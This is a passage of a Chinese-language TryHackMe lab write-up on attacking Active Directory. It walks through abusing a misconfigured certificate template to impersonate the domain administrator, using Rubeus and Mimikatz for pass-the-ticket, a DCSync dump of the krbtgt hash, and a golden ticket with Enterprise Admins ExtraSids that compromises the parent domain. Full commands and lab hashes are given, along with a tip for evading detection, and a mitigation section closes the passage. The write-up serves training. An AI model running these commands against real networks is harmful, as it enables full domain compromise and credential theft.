CTPRIVATEKEY_FLAG_EXPORTABLE_KEY：证书可以使用私钥导出。
Certificate Permissions(证书权限)：我们具有使用证书模板所需的权限。

在本小节中将尝试针对证书模版Template[32]进行恶意利用，在此证书模板中，我们可以看到THMSERVER2的机器帐户能够为该模板发送CSR，并且该模板允许我们指定主体备用名称(SAN)以及可被用于客户端身份验证。

利用证书模板

还是一样的过程，先从mmc中添加证书管理单元，并确保选择“计算机帐户(Computer Account)”和“本地计算机(Local computer)”。

接下来，请求个人证书：

右键单击“个人(Personal)”并选择“所有任务(All Tasks)” - >“请求新证书(Request New Certificate...)”；
单击“下一步(Next)”两次，注意选择AD注册策略；
我们将看到我们有一个可以请求的模板，但首先，我们需要提供一些附加信息；
单击“更多信息(More Information)”警告；

将“主体名称类型(Subject name Type)”选项更改为“通用名称(Common Name)”并提供任何值（因为它无关紧要），然后单击“添加(Add)”。
将“备用名称类型(Alternative name Type)”选项更改为“用户主体名称(User principal name)”。
提供我们将要模拟的用户的UPN，最好是DA(域管理员)帐户，例如Administrator@za.tryhackme.loc，然后单击“添加(Add)”。
单击Apply(应用)以及OK(确定)，然后选择证书并点击Enroll(注册)

最后一步是使用私钥导出我们的证书：

右键单击证书，然后选择所有任务(All Tasks) - >导出(Export...)
单击下一步(Next)，选择“是，导出私钥(Yes,export the private key)”，然后单击下一步(Next)。
单击下一步(Next)，然后为证书设置密码，因为如果没有密码，则无法使用私钥导出证书。
单击下一步(Next)，然后选择存储证书的位置。
单击下一步(Next)，最后单击完成(Finish)。

通过证书进行用户模拟

现在我们可以使用证书来模拟用户了，我们首先需要完成以下两个步骤：

使用证书请求Kerberos票据授予票据(TGT-ticket-granting ticket)；
将Kerberos TGT加载到我们所使用的域内机器中。

第一步，使用 Rubeus工具，使用以下命令以请求TGT：

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>

让我们分解并学习上述命令参数：

/user：指定我们将要模拟的用户，这必须与我们所生成的证书的UPN相匹配；
/enctype：指定Kerberos票据的加密类型，设置此项对于规避安全设备的检测很重要，因为默认的加密算法很弱，这会导致overpass-the-hash警报；
/certificate：我们所生成的证书的路径
/password：证书文件的密码；
/outfile：我们的TGT将输出并用于保存的文件(.kirbi格式)；
/domain：我们当前所要攻击的目标域的FQDN(完全限定域名)；
/dc：我们将从中请求TGT的域控制器的IP，此处通常会选择正在运行CA服务的DC(域控制器)。

.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:C:\Users\phillip.wilkins\Desktop\fyhypocert.pfx /password:fyhypo666 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.83.101

现在我们可以使用Mimikatz加载TGT并向THMDC进行身份验证：

privilege::debug
kerberos::ptt administrator.kirbi
exit

最终，我们成功访问到了目标域的Tier 0(第0层)基础设施。

dir \\THMDC.za.tryhackme.loc\c$\
explorer.exe

0x08 利用域信任关系

即使我们已经可以访问目标域的Tier 0(第0层)基础设施，但是这仍然是不足的，TRYHACKME还可能拥有用于其他地区的域，所以我们还可以尝试控制TRYHACKME.LOC根域；在本小节中，我们将了解如何利用域信任关系来控制与目标域相关的整个域森林。

域信任关系

域森林是AD网络中的一个或多个域树的集合，而域信任是AD用户用于访问域中的其他资源的一种机制。在大多数情况下，信任关系概述了域森林中的域是如何相互通信的，在某些AD环境中，信任关系还可以被扩展到外部的域甚至外部的域森林。

我们通常可以在域间配置以下两种主要类型的信任关系：

Directional(定向型，方向型)：信任关系的方向从信任域流向受信任的域；
Transitive(可传递型)：信任关系从两个域扩展到包括其他受信任的域。

一个域森林中具有根域或者父域是很常见的。在本文的实验环境中，与目标域所对应的根域为TRYHACKME.LOC，而对于每个区域办事处，我们都可以创建相关的子域。

例如ZA.TRYHACKME.LOC、UK.TRYHACKME.LOC(这样的域森林配置将允许ZA子域与UK子域之间能够共享资源)。如果现在在目标企业的英国办公室中的某个员工用户需要访问THMSERVER1机器，那么我们就可以为该用户授予一个针对ZA域的访问权限，此权限委派之所以有效，是因为ZA与根域之间、UK与根域之间都存在双向信任关系，实质上是在ZA域与UK域之间能够创建一个可传递信任。

如上所述，父域与子域之间可以存在双向信任关系，并且基于这种信任关系能够通过更大的可传递信任来共享资源。作为攻击者而言，如果我们入侵了子域，则能够尝试利用双向信任关系来入侵父域。

KRBTGT和黄金票据

KRBTGT是微软用于实现Kerberos身份验证机制的帐户，该帐户名称源自于Kerberos(KRB)和Ticket Granting Ticket(TGT)。在实质上，KRBTGT帐户通常用来充当Kerberos分发中心(KDC-Kerberos Distribution Center)服务的服务帐户，该服务会处理所有Kerberos票据请求。KRBTGT帐户主要用于加密和签署Windows域中的所有Kerberos票据，由于密码哈希是由所有域控制器共享的，因此当用户请求访问资源时，还可以验证收到的TGT的真实性。

但是，如果我们想生成自己的TGTs并授予我们访问所有内容的权限，那么应该怎么办？我们可以为此执行黄金票据攻击，在这种攻击中，我们将完全绕过KDC并创建自己的TGTs，在本质上，这需要我们使用票据授予服务器(TGS-Ticket Granting Server)。

为了伪造TGTs，我们需要获取以下信息：

目标域的FQDN(完全限定域名)；
目标域的安全标识符(SID-Security Identifier)；
我们想要模拟的帐户的用户名；
KRBTGT帐户的密码哈希。

上述信息的前三个通常很容易获取，但是最后一个信息需要拿下域控，因为KRBTGT帐户的密码哈希仅存储在域控制器中。

以本次实验来说，我们在上一小节中通过伪造AD证书成功渗透了Tier 0 admins(第0层管理员)组，因此我们能够尝试获取KRBTGT帐户的密码哈希值。

书接上回，我们已经用mimikatz在THMSERVER2机器上导入了Administrator的票据，现在可以接着使用Mimikatz基于DC的同步机制获取KRBTGT帐户的密码哈希：

privilege::debug
lsadump::dcsync /user:za\krbtgt

krbtgt帐户的Hash NTLM: 16f9af38fca3ada405386b3b57366082

跨域TGT

通过使用KRBTGT帐户的密码哈希，我们能够伪造Kerberos黄金票据来访问相关子域中的任何资源，而且我们还可以伪造Inter-Realm(跨域)TGT，这些跨域TGTs可用于向我们提供针对其他关联域中的资源的访问权限。在本小节的例子中，我们将尝试利用子域和父域之间的双向信任关系来获得对父域的完全访问权限。

当我们通过构建黄金票据来执行漏洞利用攻击时，我们将要包含来自其他域的额外帐户SIDs，我们可以使用Mimikatz来协助解决这个问题，该工具允许我们设置TGT的KERB_VALIDATION_INFO结构中的ExtraSids部分。ExtraSids可以被描述为“指向KERB_SID_AND_ATTRIBUTES结构列表的指针，这些结构将包含与域中的组相对应的sid列表(除了主体所属的帐户域之外)”。

在本小节中，我们将利用父域对子域的信任关系，具体的方法是将企业管理员(EA-Enterprise Admins)组的SID作为额外的SID添加到与子域的域控制器相关的伪造票据中。EA(企业管理员)组属于父域，该组中的成员用户将被授予针对整个域森林的管理权限，该组的默认SID为S-1-5-21-<RootDomain>-519。

在执行漏洞利用之前，我们首先需要获取两个SIDs：

子域控制器(THMDC)的SID，我们将在我们所伪造的TGT中模拟它；
父域中的企业管理员(Enterprise Admins)的SID，我们会将其作为额外的SID添加到我们所伪造的TGT中。

为了获取上述SIDs，我们可以使用AD-RSAT的Powershell cmdlets，先使用以下命令来获取子域控制器的SID：

Get-ADComputer -Identity "THMDC"

使用以下命令来查询父域控制器，以便获取企业管理员组的SID：

Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

THMDC的SID : S-1-5-21-3885271727-2693558621-2658995185-1001
Enterprise Admins的SID : S-1-5-21-3330634377-1326264276-632209373-519

利用域信任关系

我们现在已经拥有了伪造TGT所需的所有信息，我们将使用Mimikatz来生成黄金票据，相关的命令如下所示：

privilege::debug
kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt

现在黄金票据已经被加载到了当前会话中，接下来，我们将验证已经生成的黄金票据是否可以访问THMDC(本文实验环境中的子域控制器)，因为上述黄金票据是子域的管理员用户的有效票据，所以理应能够访问子域控制器：

同时，因为我们还在已伪造的票据中指定了额外的SID，所以我们现在也应该有权访问父域的域控制器(DC)：

如上述输出结果所示，我们通过渗透父域的其中一个子域成功获得了针对父域的访问权限。

0x09 缓解措施

攻击者针对目标AD所进行的漏洞利用攻击(包括AD枚举)非常难以防御，这是因为那些可能被攻击者视为可被利用的错误AD配置在企业生产环境中具有实际的业务用途(目标企业在部署域网络时往往不会因噎废食)，但是，我们仍然可以尝试通过执行以下操作来尽量防御针对AD域的漏洞利用攻击：

确保已经设置的AD配置无法破坏我们的AD分层模型，较低层级中的AD帐户不应该能够与较高层级中的资源进行交互；此外，较高层级的AD帐户也不应该能够获取到较低层级中的资源。
执行权限委派时应该遵循最小特权原则；此外，权限委派应该遵循分层模型，并且要确保较低层级的AD对象无法更改较高层级的AD对象。
应该强制要求执行SMB签名，而不仅仅是启用SMB签名，这将防止攻击者尝试进行凭据中继(转发)攻击。
AD对象及其配置并不是攻击者能够选择的唯一利用途径，AD服务(如AD CS，即AD证书服务)也应该被视为攻击面的一部分并受到保护。
我们需要实施足够的安全控制机制来保护子域中的第 0 层(Tier 0)基础AD结构和AD帐户，因为只要它们其中的一个被渗透就可能会导致相关的整个域森林被攻击者入侵。